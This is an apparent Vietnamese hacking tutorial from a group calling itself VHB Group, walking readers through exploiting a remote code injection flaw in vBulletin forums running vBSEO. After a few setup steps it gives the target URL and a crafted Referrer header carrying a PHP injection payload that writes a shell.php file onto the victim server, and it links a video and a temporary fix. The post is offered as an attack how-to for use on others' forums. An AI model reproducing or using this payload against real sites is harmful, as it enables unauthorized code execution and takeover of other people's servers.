Tut khai thác lỗi vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection

Tut khai thác lỗi vBulletin vBSEO 4.x.x 'visitormessage.php' Remote Code Injection by Quỷ Lệ - VHB Group

DOWNLOAD VIDEO

Pass unrar:  quylevhb.blogspot.com

Test trên vbb 4.2.2 cài vbseo 3.6.0 - Forum phải cài vbseo mới phang được nhé. Tranh trường hợp các thím cắm đầu làm theo tut xong kêu không khai thác được =]]]]

Cách Fix lỗi tạm thời các bạn xem ở đây:  http://quylevhb.blogspot.com/2015/03/khac-phuc-loi-vbulletin-vbseo-4xx.html

Bước 1: Đăng ký tài khoản

Bước 2: Vào profile

 Bước 3: Gửi tin nhắn

 

Bước 4: Mở Hackbar

- Khung load URL điền:  

http:/victim.net/visitormessage.php?do=message

- Khung Referrer điền:   

http://victim.net/members/quylevhb.html?a=$stylevar[${${file_put_contents("shell.php","hacked by Quy Le - VHB Group")}}]"

Bước 5: Xem video nhé các thím =]]]]]

Tut by Quỷ Lệ - VHB Group. Ai lech vui lòng ghi rõ nguồn